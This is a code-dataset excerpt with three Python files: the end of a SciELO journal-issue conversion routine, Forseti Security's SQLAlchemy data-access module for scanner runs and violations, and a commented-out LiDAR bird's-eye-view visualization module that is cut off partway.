if issue.number:
_metadata["number"] = set_metadata(_creation_date, issue.number)
_supplement = None
if issue.type is "supplement":
_supplement = "0"
if issue.supplement_volume:
_supplement = issue.supplement_volume
elif issue.supplement_number:
_supplement = issue.supplement_number
_metadata["supplement"] = set_metadata(_creation_date, _supplement)
if issue.titles:
_titles = [
{"language": lang, "value": value} for lang, value in issue.titles.items()
]
_metadata["titles"] = set_metadata(_creation_date, _titles)
publication_months = {}
if issue.start_month and issue.end_month:
publication_months["range"] = (int(issue.start_month), int(issue.end_month))
elif _month:
publication_months["month"] = int(_month)
_metadata["publication_months"] = set_metadata(_creation_date, publication_months)
_id = scielo_ids_generator.issue_id(
issn_id, _year, issue.volume, issue.number, _supplement
)
_bundle["_id"] = _id
_bundle["id"] = _id
return _bundle
def get_journal_issns_from_issue(issue: Issue) -> List[str]:
issns = [get_journal_issn_in_issue(issue)]
if not "v435" in issue.data["issue"]:
return issns
issns.extend([issn["_"] for issn in issue.data["issue"]["v435"]])
return list(set(issns))
def find_documents_bundles(journal: dict, issues: List[Issue]):
issues_ids = []
journal_issns = []
journal_issn_fields = ["electronic_issn", "print_issn", "scielo_issn"]
_metadata = journal["metadata"]
for field in journal_issn_fields:
try:
journal_issns.append(_metadata[field][0][-1])
except (KeyError, IndexError):
pass
journal_issns = list(set(journal_issns))
for issue in issues:
issue_issns = get_journal_issns_from_issue(issue)
has_matched_issns = list(
filter(lambda issn: issn in journal_issns, issue_issns)
)
if has_matched_issns:
issues_ids.append(issue_to_kernel(issue).get("id"))
return issues_ids
| true | true |
f7f371e7d2960b5b76a56b9e38002e05c34642a7 | 14,205 | py | Python | google/cloud/forseti/services/scanner/dao.py | darrellkuhn/forseti-security | b54faf68d869842e8a43472ff980e28e2ce8d3c6 | [
"Apache-2.0"
] | null | null | null | google/cloud/forseti/services/scanner/dao.py | darrellkuhn/forseti-security | b54faf68d869842e8a43472ff980e28e2ce8d3c6 | [
"Apache-2.0"
] | 1 | 2020-11-10T22:15:54.000Z | 2020-11-10T22:15:54.000Z | google/cloud/forseti/services/scanner/dao.py | darrellkuhn/forseti-security | b54faf68d869842e8a43472ff980e28e2ce8d3c6 | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 The Forseti Security Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" Database access objects for Forseti Scanner. """
from builtins import object
from collections import defaultdict
import hashlib
import json
from sqlalchemy import BigInteger
from sqlalchemy import Column
from sqlalchemy import DateTime
from sqlalchemy import Integer
from sqlalchemy import String
from sqlalchemy import Text
from sqlalchemy import and_
from sqlalchemy import inspect
from sqlalchemy.ext.declarative import declarative_base
from google.cloud.forseti.common.data_access import violation_map as vm
from google.cloud.forseti.common.util import date_time
from google.cloud.forseti.common.util import logger
from google.cloud.forseti.common.util.index_state import IndexState
LOGGER = logger.get_logger(__name__)
BASE = declarative_base()
CURRENT_SCHEMA = 1
SUCCESS_STATES = [IndexState.SUCCESS, IndexState.PARTIAL_SUCCESS]
class ScannerIndex(BASE):
"""Represents a scanner run."""
__tablename__ = 'scanner_index'
id = Column(BigInteger, primary_key=True)
inventory_index_id = Column(BigInteger)
created_at_datetime = Column(DateTime())
completed_at_datetime = Column(DateTime())
scanner_status = Column(Text())
schema_version = Column(Integer())
scanner_index_warnings = Column(Text(16777215))
scanner_index_errors = Column(Text())
message = Column(Text())
def __repr__(self):
"""Object string representation.
Returns:
str: String representation of the object.
"""
return """<{}(id='{}', version='{}', timestamp='{}')>""".format(
self.__class__.__name__,
self.id,
self.schema_version,
self.created_at_datetime)
@classmethod
def create(cls, inv_index_id):
"""Create a new scanner index row.
Args:
inv_index_id (str): Id of the inventory index.
Returns:
object: ScannerIndex row object.
"""
utc_now = date_time.get_utc_now_datetime()
micro_timestamp = date_time.get_utc_now_microtimestamp(utc_now)
return ScannerIndex(
id=micro_timestamp,
inventory_index_id=inv_index_id,
created_at_datetime=utc_now,
scanner_status=IndexState.CREATED,
schema_version=CURRENT_SCHEMA)
def complete(self, status=IndexState.SUCCESS):
"""Mark the scanner as completed with a final scanner_status.
Args:
status (str): Final scanner_status.
"""
self.completed_at_datetime = date_time.get_utc_now_datetime()
self.scanner_status = status
def add_warning(self, session, warning):
"""Add a warning to the scanner.
Args:
session (object): session object to work on.
warning (str): Warning message
"""
warning_message = '{}\n'.format(warning)
if not self.scanner_index_warnings:
self.scanner_index_warnings = warning_message
else:
self.scanner_index_warnings += warning_message
session.add(self)
session.flush()
def set_error(self, session, message):
"""Indicate a broken scanner run.
Args:
session (object): session object to work on.
message (str): Error message to set.
"""
self.scanner_index_errors = message
session.add(self)
session.flush()
def get_latest_scanner_index_id(session, inv_index_id, index_state=None):
"""Return last `ScannerIndex` row with the given state or `None`.
Either return the latest `ScannerIndex` row where the `scanner_status`
matches the given `index_state` parameter (if passed) or the latest row
that represents a (partially) successful scanner run.
Args:
session (object): session object to work on.
inv_index_id (str): Id of the inventory index.
index_state (str): we want the latest `ScannerIndex` with this state
Returns:
sqlalchemy_object: the latest `ScannerIndex` row or `None`
"""
scanner_index = None
if not index_state:
scanner_index = (
session.query(ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status.in_(SUCCESS_STATES),
ScannerIndex.inventory_index_id == inv_index_id))
.order_by(ScannerIndex.id.desc()).first())
else:
scanner_index = (
session.query(ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status == index_state,
ScannerIndex.inventory_index_id == inv_index_id))
.order_by(ScannerIndex.created_at_datetime.desc()).first())
return scanner_index.id if scanner_index else None
class Violation(BASE):
"""Row entry for a violation."""
__tablename__ = 'violations'
id = Column(Integer, primary_key=True)
created_at_datetime = Column(DateTime())
full_name = Column(String(1024))
resource_data = Column(Text(16777215))
resource_name = Column(String(256), default='')
resource_id = Column(String(256), nullable=False)
resource_type = Column(String(256), nullable=False)
rule_index = Column(Integer, default=0)
rule_name = Column(String(256))
scanner_index_id = Column(BigInteger)
violation_data = Column(Text(16777215))
violation_hash = Column(String(256))
violation_message = Column(Text)
violation_type = Column(String(256), nullable=False)
def __repr__(self):
"""String representation.
Returns:
str: string representation of the Violation row entry.
"""
string = ('<Violation(violation_type={}, resource_type={} '
'rule_name={})>')
return string.format(
self.violation_type, self.resource_type, self.rule_name)
@staticmethod
def get_schema_update_actions():
"""Maintain all the schema changes for this table.
Returns:
dict: A mapping of Action: Column.
"""
columns_to_create = [Column('resource_name',
String(256),
default=''),
Column('violation_message',
Text(),
default='')]
columns_to_update = {
Column('violation_data', Text()):
Column('violation_data', Text(16777215))}
schema_update_actions = {'CREATE': columns_to_create,
'ALTER': columns_to_update}
return schema_update_actions
class ViolationAccess(object):
"""Facade for violations, implement APIs against violations table."""
def __init__(self, session):
"""Constructor for the Violation Access.
Args:
session (Session): SQLAlchemy session object.
"""
self.session = session
def create(self, violations, scanner_index_id):
"""Save violations to the db table.
Args:
violations (list): A list of violations.
scanner_index_id (int): id of the `ScannerIndex` row for this
scanner run.
"""
created_at_datetime = date_time.get_utc_now_datetime()
for violation in violations:
violation_hash = _create_violation_hash(
violation.get('full_name', ''),
violation.get('resource_data', ''),
violation.get('violation_data', ''),
)
violation = Violation(
created_at_datetime=created_at_datetime,
full_name=violation.get('full_name'),
resource_data=violation.get('resource_data'),
resource_name=violation.get('resource_name'),
resource_id=violation.get('resource_id'),
resource_type=violation.get('resource_type'),
rule_index=violation.get('rule_index'),
rule_name=violation.get('rule_name'),
scanner_index_id=scanner_index_id,
violation_data=json.dumps(
violation.get('violation_data'), sort_keys=True),
violation_hash=violation_hash,
violation_message=violation.get('violation_message', ''),
violation_type=violation.get('violation_type')
)
self.session.add(violation)
def list(self, inv_index_id=None, scanner_index_id=None):
"""List all violations from the db table.
If
* neither index is passed we return all violations.
* the `inv_index_id` is passed the violations from all scanner
runs for that inventory index will be returned.
* the `scanner_index_id` is passed the violations from that
specific scanner run will be returned.
NOTA BENE: do *NOT* call this method with both indices!
Args:
inv_index_id (str): Id of the inventory index.
scanner_index_id (int): Id of the scanner index.
Returns:
list: List of Violation row entry objects.
Raises:
ValueError: if called with both the inventory and the scanner index
"""
if not (inv_index_id or scanner_index_id):
return self.session.query(Violation).all()
if (inv_index_id and scanner_index_id):
raise ValueError(
'Please call list() with the inventory index XOR the scanner '
'index, not both.')
results = []
if inv_index_id:
results = (
self.session.query(Violation, ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status.in_(SUCCESS_STATES),
ScannerIndex.inventory_index_id == inv_index_id))
.filter(Violation.scanner_index_id == ScannerIndex.id)
.all())
if scanner_index_id:
results = (
self.session.query(Violation, ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status.in_(SUCCESS_STATES),
ScannerIndex.id == scanner_index_id))
.filter(Violation.scanner_index_id == ScannerIndex.id)
.all())
violations = []
for violation, _ in results:
violations.append(violation)
return violations
# pylint: disable=invalid-name
def convert_sqlalchemy_object_to_dict(sqlalchemy_obj):
"""Convert a sqlalchemy row/record object to a dictionary.
Args:
sqlalchemy_obj (sqlalchemy_object): A sqlalchemy row/record object
Returns:
dict: A dict of sqlalchemy object's attributes.
"""
return {c.key: getattr(sqlalchemy_obj, c.key)
for c in inspect(sqlalchemy_obj).mapper.column_attrs}
def map_by_resource(violation_rows):
"""Create a map of violation types to violations of that resource.
Args:
violation_rows (list): A list of dict of violation data.
Returns:
dict: A dict of violation types mapped to the list of corresponding
violation types, i.e. { resource => [violation_data...] }.
"""
# The defaultdict makes it easy to add a value to a key without having
# to check if the key exists.
v_by_type = defaultdict(list)
for v_data in violation_rows:
try:
v_data['violation_data'] = json.loads(v_data['violation_data'])
except ValueError:
LOGGER.warning('Invalid violation data, unable to parse json '
'for %s',
v_data['violation_data'])
# resource_data can be regular python string
try:
v_data['resource_data'] = json.loads(v_data['resource_data'])
except ValueError:
v_data['resource_data'] = json.loads(
json.dumps(v_data['resource_data']))
v_resource = vm.VIOLATION_RESOURCES.get(v_data['violation_type'])
if v_resource:
v_by_type[v_resource].append(v_data)
return dict(v_by_type)
def _create_violation_hash(violation_full_name, resource_data, violation_data):
"""Create a hash of violation data.
Args:
violation_full_name (str): The full name of the violation.
resource_data (str): The inventory data.
violation_data (dict): A violation.
Returns:
str: The resulting hex digest or '' if we can't successfully create
a hash.
"""
# TODO: Intelligently choose from hashlib.algorithms_guaranteed if our
# desired one is not available.
algorithm = 'sha512'
try:
violation_hash = hashlib.new(algorithm)
except ValueError:
LOGGER.exception('Cannot create hash for a violation with algorithm: '
'%s', algorithm)
return ''
try:
# Group resources do not have full name. Issue #1072
violation_hash.update(
json.dumps(violation_full_name).encode() +
json.dumps(resource_data, sort_keys=True).encode() +
json.dumps(violation_data, sort_keys=True).encode()
)
except TypeError:
LOGGER.exception('Cannot create hash for a violation: %s',
violation_full_name)
return ''
return violation_hash.hexdigest()
def initialize(engine):
"""Create all tables in the database if not existing.
Args:
engine (object): Database engine to operate on.
"""
# Create tables if not exists.
BASE.metadata.create_all(engine)
| 34.562044 | 79 | 0.629356 |
from builtins import object
from collections import defaultdict
import hashlib
import json
from sqlalchemy import BigInteger
from sqlalchemy import Column
from sqlalchemy import DateTime
from sqlalchemy import Integer
from sqlalchemy import String
from sqlalchemy import Text
from sqlalchemy import and_
from sqlalchemy import inspect
from sqlalchemy.ext.declarative import declarative_base
from google.cloud.forseti.common.data_access import violation_map as vm
from google.cloud.forseti.common.util import date_time
from google.cloud.forseti.common.util import logger
from google.cloud.forseti.common.util.index_state import IndexState
LOGGER = logger.get_logger(__name__)
BASE = declarative_base()
CURRENT_SCHEMA = 1
SUCCESS_STATES = [IndexState.SUCCESS, IndexState.PARTIAL_SUCCESS]
class ScannerIndex(BASE):
__tablename__ = 'scanner_index'
id = Column(BigInteger, primary_key=True)
inventory_index_id = Column(BigInteger)
created_at_datetime = Column(DateTime())
completed_at_datetime = Column(DateTime())
scanner_status = Column(Text())
schema_version = Column(Integer())
scanner_index_warnings = Column(Text(16777215))
scanner_index_errors = Column(Text())
message = Column(Text())
def __repr__(self):
return """<{}(id='{}', version='{}', timestamp='{}')>""".format(
self.__class__.__name__,
self.id,
self.schema_version,
self.created_at_datetime)
@classmethod
def create(cls, inv_index_id):
utc_now = date_time.get_utc_now_datetime()
micro_timestamp = date_time.get_utc_now_microtimestamp(utc_now)
return ScannerIndex(
id=micro_timestamp,
inventory_index_id=inv_index_id,
created_at_datetime=utc_now,
scanner_status=IndexState.CREATED,
schema_version=CURRENT_SCHEMA)
def complete(self, status=IndexState.SUCCESS):
self.completed_at_datetime = date_time.get_utc_now_datetime()
self.scanner_status = status
def add_warning(self, session, warning):
warning_message = '{}\n'.format(warning)
if not self.scanner_index_warnings:
self.scanner_index_warnings = warning_message
else:
self.scanner_index_warnings += warning_message
session.add(self)
session.flush()
def set_error(self, session, message):
self.scanner_index_errors = message
session.add(self)
session.flush()
def get_latest_scanner_index_id(session, inv_index_id, index_state=None):
scanner_index = None
if not index_state:
scanner_index = (
session.query(ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status.in_(SUCCESS_STATES),
ScannerIndex.inventory_index_id == inv_index_id))
.order_by(ScannerIndex.id.desc()).first())
else:
scanner_index = (
session.query(ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status == index_state,
ScannerIndex.inventory_index_id == inv_index_id))
.order_by(ScannerIndex.created_at_datetime.desc()).first())
return scanner_index.id if scanner_index else None
class Violation(BASE):
__tablename__ = 'violations'
id = Column(Integer, primary_key=True)
created_at_datetime = Column(DateTime())
full_name = Column(String(1024))
resource_data = Column(Text(16777215))
resource_name = Column(String(256), default='')
resource_id = Column(String(256), nullable=False)
resource_type = Column(String(256), nullable=False)
rule_index = Column(Integer, default=0)
rule_name = Column(String(256))
scanner_index_id = Column(BigInteger)
violation_data = Column(Text(16777215))
violation_hash = Column(String(256))
violation_message = Column(Text)
violation_type = Column(String(256), nullable=False)
def __repr__(self):
string = ('<Violation(violation_type={}, resource_type={} '
'rule_name={})>')
return string.format(
self.violation_type, self.resource_type, self.rule_name)
@staticmethod
def get_schema_update_actions():
columns_to_create = [Column('resource_name',
String(256),
default=''),
Column('violation_message',
Text(),
default='')]
columns_to_update = {
Column('violation_data', Text()):
Column('violation_data', Text(16777215))}
schema_update_actions = {'CREATE': columns_to_create,
'ALTER': columns_to_update}
return schema_update_actions
class ViolationAccess(object):
def __init__(self, session):
self.session = session
def create(self, violations, scanner_index_id):
created_at_datetime = date_time.get_utc_now_datetime()
for violation in violations:
violation_hash = _create_violation_hash(
violation.get('full_name', ''),
violation.get('resource_data', ''),
violation.get('violation_data', ''),
)
violation = Violation(
created_at_datetime=created_at_datetime,
full_name=violation.get('full_name'),
resource_data=violation.get('resource_data'),
resource_name=violation.get('resource_name'),
resource_id=violation.get('resource_id'),
resource_type=violation.get('resource_type'),
rule_index=violation.get('rule_index'),
rule_name=violation.get('rule_name'),
scanner_index_id=scanner_index_id,
violation_data=json.dumps(
violation.get('violation_data'), sort_keys=True),
violation_hash=violation_hash,
violation_message=violation.get('violation_message', ''),
violation_type=violation.get('violation_type')
)
self.session.add(violation)
def list(self, inv_index_id=None, scanner_index_id=None):
if not (inv_index_id or scanner_index_id):
return self.session.query(Violation).all()
if (inv_index_id and scanner_index_id):
raise ValueError(
'Please call list() with the inventory index XOR the scanner '
'index, not both.')
results = []
if inv_index_id:
results = (
self.session.query(Violation, ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status.in_(SUCCESS_STATES),
ScannerIndex.inventory_index_id == inv_index_id))
.filter(Violation.scanner_index_id == ScannerIndex.id)
.all())
if scanner_index_id:
results = (
self.session.query(Violation, ScannerIndex)
.filter(and_(
ScannerIndex.scanner_status.in_(SUCCESS_STATES),
ScannerIndex.id == scanner_index_id))
.filter(Violation.scanner_index_id == ScannerIndex.id)
.all())
violations = []
for violation, _ in results:
violations.append(violation)
return violations
def convert_sqlalchemy_object_to_dict(sqlalchemy_obj):
return {c.key: getattr(sqlalchemy_obj, c.key)
for c in inspect(sqlalchemy_obj).mapper.column_attrs}
def map_by_resource(violation_rows):
v_by_type = defaultdict(list)
for v_data in violation_rows:
try:
v_data['violation_data'] = json.loads(v_data['violation_data'])
except ValueError:
LOGGER.warning('Invalid violation data, unable to parse json '
'for %s',
v_data['violation_data'])
try:
v_data['resource_data'] = json.loads(v_data['resource_data'])
except ValueError:
v_data['resource_data'] = json.loads(
json.dumps(v_data['resource_data']))
v_resource = vm.VIOLATION_RESOURCES.get(v_data['violation_type'])
if v_resource:
v_by_type[v_resource].append(v_data)
return dict(v_by_type)
def _create_violation_hash(violation_full_name, resource_data, violation_data):
algorithm = 'sha512'
try:
violation_hash = hashlib.new(algorithm)
except ValueError:
LOGGER.exception('Cannot create hash for a violation with algorithm: '
'%s', algorithm)
return ''
try:
violation_hash.update(
json.dumps(violation_full_name).encode() +
json.dumps(resource_data, sort_keys=True).encode() +
json.dumps(violation_data, sort_keys=True).encode()
)
except TypeError:
LOGGER.exception('Cannot create hash for a violation: %s',
violation_full_name)
return ''
return violation_hash.hexdigest()
def initialize(engine):
BASE.metadata.create_all(engine)
| true | true |
f7f372166bbeba66a5cf04cb10709d46af77029b | 8,962 | py | Python | second/utils/simplevis.py | muzi2045/second_TANET.pytorch | 3e10c93075a76684871fe0f188819c7b282671fd | [
"MIT"
] | 6 | 2020-02-15T09:11:53.000Z | 2021-11-12T09:03:41.000Z | second/utils/simplevis.py | muzi2045/second_TANET.pytorch | 3e10c93075a76684871fe0f188819c7b282671fd | [
"MIT"
] | 2 | 2020-04-15T02:40:44.000Z | 2020-11-28T02:14:32.000Z | second/utils/simplevis.py | muzi2045/second_TANET.pytorch | 3e10c93075a76684871fe0f188819c7b282671fd | [
"MIT"
] | 3 | 2020-02-11T20:12:50.000Z | 2021-05-28T07:31:02.000Z | # import sys
# # sys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')
# import cv2
# import numba
# import numpy as np
# from second.core import box_np_ops
# @numba.jit(nopython=True)
# def _points_to_bevmap_reverse_kernel(
# points,
# voxel_size,
# coors_range,
# coor_to_voxelidx,
# # coors_2d,
# bev_map,
# height_lowers,
# # density_norm_num=16,
# with_reflectivity=False,
# max_voxels=40000):
# # put all computations to one loop.
# # we shouldn't create large array in main jit code, otherwise
# # reduce performance
# N = points.shape[0]
# ndim = 3
# ndim_minus_1 = ndim - 1
# grid_size = (coors_range[3:] - coors_range[:3]) / voxel_size
# # np.round(grid_size)
# # grid_size = np.round(grid_size).astype(np.int64)(np.int32)
# grid_size = np.round(grid_size, 0, grid_size).astype(np.int32)
# height_slice_size = voxel_size[-1]
# coor = np.zeros(shape=(3, ), dtype=np.int32) # DHW
# voxel_num = 0
# failed = False
# for i in range(N):
# failed = False
# for j in range(ndim):
# c = np.floor((points[i, j] - coors_range[j]) / voxel_size[j])
# if c < 0 or c >= grid_size[j]:
# failed = True
# break
# coor[ndim_minus_1 - j] = c
# if failed:
# continue
# voxelidx = coor_to_voxelidx[coor[0], coor[1], coor[2]]
# if voxelidx == -1:
# voxelidx = voxel_num
# if voxel_num >= max_voxels:
# break
# voxel_num += 1
# coor_to_voxelidx[coor[0], coor[1], coor[2]] = voxelidx
# # coors_2d[voxelidx] = coor[1:]
# bev_map[-1, coor[1], coor[2]] += 1
# height_norm = bev_map[coor[0], coor[1], coor[2]]
# incomimg_height_norm = (
# points[i, 2] - height_lowers[coor[0]]) / height_slice_size
# if incomimg_height_norm > height_norm:
# bev_map[coor[0], coor[1], coor[2]] = incomimg_height_norm
# if with_reflectivity:
# bev_map[-2, coor[1], coor[2]] = points[i, 3]
# # return voxel_num
# def points_to_bev(points,
# voxel_size,
# coors_range,
# with_reflectivity=False,
# density_norm_num=16,
# max_voxels=40000):
# """convert kitti points(N, 4) to a bev map. return [C, H, W] map.
# this function based on algorithm in points_to_voxel.
# takes 5ms in a reduced pointcloud with voxel_size=[0.1, 0.1, 0.8]
# Args:
# points: [N, ndim] float tensor. points[:, :3] contain xyz points and
# points[:, 3] contain reflectivity.
# voxel_size: [3] list/tuple or array, float. xyz, indicate voxel size
# coors_range: [6] list/tuple or array, float. indicate voxel range.
# format: xyzxyz, minmax
# with_reflectivity: bool. if True, will add a intensity map to bev map.
# Returns:
# bev_map: [num_height_maps + 1(2), H, W] float tensor.
# `WARNING`: bev_map[-1] is num_points map, NOT density map,
# because calculate density map need more time in cpu rather than gpu.
# if with_reflectivity is True, bev_map[-2] is intensity map.
# """
# if not isinstance(voxel_size, np.ndarray):
# voxel_size = np.array(voxel_size, dtype=points.dtype)
# if not isinstance(coors_range, np.ndarray):
# coors_range = np.array(coors_range, dtype=points.dtype)
# voxelmap_shape = (coors_range[3:] - coors_range[:3]) / voxel_size
# voxelmap_shape = tuple(np.round(voxelmap_shape).astype(np.int32).tolist())
# voxelmap_shape = voxelmap_shape[::-1] # DHW format
# coor_to_voxelidx = -np.ones(shape=voxelmap_shape, dtype=np.int32)
# # coors_2d = np.zeros(shape=(max_voxels, 2), dtype=np.int32)
# bev_map_shape = list(voxelmap_shape)
# bev_map_shape[0] += 1
# height_lowers = np.linspace(
# coors_range[2], coors_range[5], voxelmap_shape[0], endpoint=False)
# if with_reflectivity:
# bev_map_shape[0] += 1
# bev_map = np.zeros(shape=bev_map_shape, dtype=points.dtype)
# _points_to_bevmap_reverse_kernel(points, voxel_size, coors_range,
# coor_to_voxelidx, bev_map, height_lowers,
# with_reflectivity, max_voxels)
# # print(voxel_num)
# return bev_map
# def point_to_vis_bev(points,
# voxel_size=None,
# coors_range=None,
# max_voxels=80000):
# if voxel_size is None:
# voxel_size = [0.1, 0.1, 0.1]
# if coors_range is None:
# coors_range = [-50, -50, -3, 50, 50, 1]
# voxel_size[2] = coors_range[5] - coors_range[2]
# bev_map = points_to_bev(
# points, voxel_size, coors_range, max_voxels=max_voxels)
# height_map = (bev_map[0] * 255).astype(np.uint8)
# return cv2.cvtColor(height_map, cv2.COLOR_GRAY2RGB)
# def cv2_draw_lines(img, lines, colors, thickness, line_type=cv2.LINE_8):
# lines = lines.astype(np.int32)
# for line, color in zip(lines, colors):
# color = list(int(c) for c in color)
# cv2.line(img, (line[0], line[1]), (line[2], line[3]), color, thickness)
# return img
# def cv2_draw_text(img, locs, labels, colors, thickness, line_type=cv2.LINE_8):
# locs = locs.astype(np.int32)
# font_line_type = cv2.LINE_8
# font = cv2.FONT_ITALIC
# font = cv2.FONT_HERSHEY_DUPLEX
# font = cv2.FONT_HERSHEY_PLAIN
# font = cv2.FONT_HERSHEY_SIMPLEX
# for loc, label, color in zip(locs, labels, colors):
# color = list(int(c) for c in color)
# cv2.putText(img, label, tuple(loc), font, 0.7, color, thickness,
# font_line_type, False)
# return img
# def draw_box_in_bev(img,
# coors_range,
# boxes,
# color,
# thickness=1,
# labels=None,
# label_color=None):
# """
# Args:
# boxes: center format.
# """
# coors_range = np.array(coors_range)
# bev_corners = box_np_ops.center_to_corner_box2d(
# boxes[:, [0, 1]], boxes[:, [3, 4]], boxes[:, 6])
# bev_corners -= coors_range[:2]
# bev_corners *= np.array(
# img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2])
# standup = box_np_ops.corner_to_standup_nd(bev_corners)
# text_center = standup[:, 2:]
# text_center[:, 1] -= (standup[:, 3] - standup[:, 1]) / 2
# bev_lines = np.concatenate(
# [bev_corners[:, [0, 2, 3]], bev_corners[:, [1, 3, 0]]], axis=2)
# bev_lines = bev_lines.reshape(-1, 4)
# colors = np.tile(np.array(color).reshape(1, 3), [bev_lines.shape[0], 1])
# colors = colors.astype(np.int32)
# img = cv2_draw_lines(img, bev_lines, colors, thickness)
# if boxes.shape[1] == 9:
# # draw velocity arrows
# for box in boxes:
# velo = box[-2:]
# # velo = np.array([-np.sin(box[6]), -np.cos(box[6])])
# velo_unified = velo
# if np.isnan(velo_unified[0]):
# continue
# velo_unified = velo_unified * np.array(
# img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2])
# center = box[:2] - coors_range[:2]
# center = center * np.array(
# img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2])
# center = tuple(map(lambda x: int(x), center))
# center2 = tuple(map(lambda x: int(x), center + velo_unified))
# cv2.arrowedLine(img, center, center2, color, thickness, tipLength=0.3)
# if labels is not None:
# if label_color is None:
# label_color = colors
# else:
# label_color = np.tile(
# np.array(label_color).reshape(1, 3), [bev_lines.shape[0], 1])
# label_color = label_color.astype(np.int32)
# img = cv2_draw_text(img, text_center, labels, label_color,
# thickness)
# return img
# def kitti_vis(points, boxes=None, labels=None):
# vis_voxel_size = [0.1, 0.1, 0.1]
# vis_point_range = [0, -30, -3, 64, 30, 1]
# bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range)
# if boxes is not None:
# bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels)
# return bev_map
# def nuscene_vis(points, boxes=None, labels=None):
# vis_voxel_size = [0.1, 0.1, 0.1]
# vis_point_range = [-50, -50, -5, 50, 50, 3]
# bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range)
# if boxes is not None:
# bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels)
# return bev_map | 40.736364 | 92 | 0.57264 |
np.round(grid_size)
# # grid_size = np.round(grid_size).astype(np.int64)(np.int32)
# grid_size = np.round(grid_size, 0, grid_size).astype(np.int32)
# height_slice_size = voxel_size[-1]
# coor = np.zeros(shape=(3, ), dtype=np.int32) # DHW
# voxel_num = 0
# failed = False
# for i in range(N):
# failed = False
# for j in range(ndim):
# c = np.floor((points[i, j] - coors_range[j]) / voxel_size[j])
# if c < 0 or c >= grid_size[j]:
# failed = True
# break
# coor[ndim_minus_1 - j] = c
# if failed:
# continue
# voxelidx = coor_to_voxelidx[coor[0], coor[1], coor[2]]
# if voxelidx == -1:
# voxelidx = voxel_num
# if voxel_num >= max_voxels:
# break
# voxel_num += 1
# coor_to_voxelidx[coor[0], coor[1], coor[2]] = voxelidx
# # coors_2d[voxelidx] = coor[1:]
# bev_map[-1, coor[1], coor[2]] += 1
# height_norm = bev_map[coor[0], coor[1], coor[2]]
# incomimg_height_norm = (
# points[i, 2] - height_lowers[coor[0]]) / height_slice_size
# if incomimg_height_norm > height_norm:
# bev_map[coor[0], coor[1], coor[2]] = incomimg_height_norm
# if with_reflectivity:
# bev_map[-2, coor[1], coor[2]] = points[i, 3]
# # return voxel_num
# def points_to_bev(points,
# voxel_size,
# coors_range,
# with_reflectivity=False,
# density_norm_num=16,
# max_voxels=40000):
# """convert kitti points(N, 4) to a bev map. return [C, H, W] map.
# this function based on algorithm in points_to_voxel.
# takes 5ms in a reduced pointcloud with voxel_size=[0.1, 0.1, 0.8]
# Args:
# points: [N, ndim] float tensor. points[:, :3] contain xyz points and
# points[:, 3] contain reflectivity.
# voxel_size: [3] list/tuple or array, float. xyz, indicate voxel size
# coors_range: [6] list/tuple or array, float. indicate voxel range.
# format: xyzxyz, minmax
# with_reflectivity: bool. if True, will add a intensity map to bev map.
# Returns:
# bev_map: [num_height_maps + 1(2), H, W] float tensor.
# `WARNING`: bev_map[-1] is num_points map, NOT density map,
# because calculate density map need more time in cpu rather than gpu.
# if with_reflectivity is True, bev_map[-2] is intensity map.
# """
# if not isinstance(voxel_size, np.ndarray):
# voxel_size = np.array(voxel_size, dtype=points.dtype)
# if not isinstance(coors_range, np.ndarray):
# coors_range = np.array(coors_range, dtype=points.dtype)
# voxelmap_shape = (coors_range[3:] - coors_range[:3]) / voxel_size
# voxelmap_shape = tuple(np.round(voxelmap_shape).astype(np.int32).tolist())
# voxelmap_shape = voxelmap_shape[::-1] # DHW format
# coor_to_voxelidx = -np.ones(shape=voxelmap_shape, dtype=np.int32)
# # coors_2d = np.zeros(shape=(max_voxels, 2), dtype=np.int32)
# bev_map_shape = list(voxelmap_shape)
# bev_map_shape[0] += 1
# height_lowers = np.linspace(
# coors_range[2], coors_range[5], voxelmap_shape[0], endpoint=False)
# if with_reflectivity:
# bev_map_shape[0] += 1
# bev_map = np.zeros(shape=bev_map_shape, dtype=points.dtype)
# _points_to_bevmap_reverse_kernel(points, voxel_size, coors_range,
# coor_to_voxelidx, bev_map, height_lowers,
# with_reflectivity, max_voxels)
# # print(voxel_num)
# return bev_map
# def point_to_vis_bev(points,
# voxel_size=None,
# coors_range=None,
# max_voxels=80000):
# if voxel_size is None:
# voxel_size = [0.1, 0.1, 0.1]
# if coors_range is None:
# coors_range = [-50, -50, -3, 50, 50, 1]
# voxel_size[2] = coors_range[5] - coors_range[2]
# bev_map = points_to_bev(
# points, voxel_size, coors_range, max_voxels=max_voxels)
# height_map = (bev_map[0] * 255).astype(np.uint8)
# return cv2.cvtColor(height_map, cv2.COLOR_GRAY2RGB)
# def cv2_draw_lines(img, lines, colors, thickness, line_type=cv2.LINE_8):
# lines = lines.astype(np.int32)
# for line, color in zip(lines, colors):
# color = list(int(c) for c in color)
# cv2.line(img, (line[0], line[1]), (line[2], line[3]), color, thickness)
# return img
# def cv2_draw_text(img, locs, labels, colors, thickness, line_type=cv2.LINE_8):
# locs = locs.astype(np.int32)
# font_line_type = cv2.LINE_8
# font = cv2.FONT_ITALIC
# font = cv2.FONT_HERSHEY_DUPLEX
# font = cv2.FONT_HERSHEY_PLAIN
# font = cv2.FONT_HERSHEY_SIMPLEX
# for loc, label, color in zip(locs, labels, colors):
# color = list(int(c) for c in color)
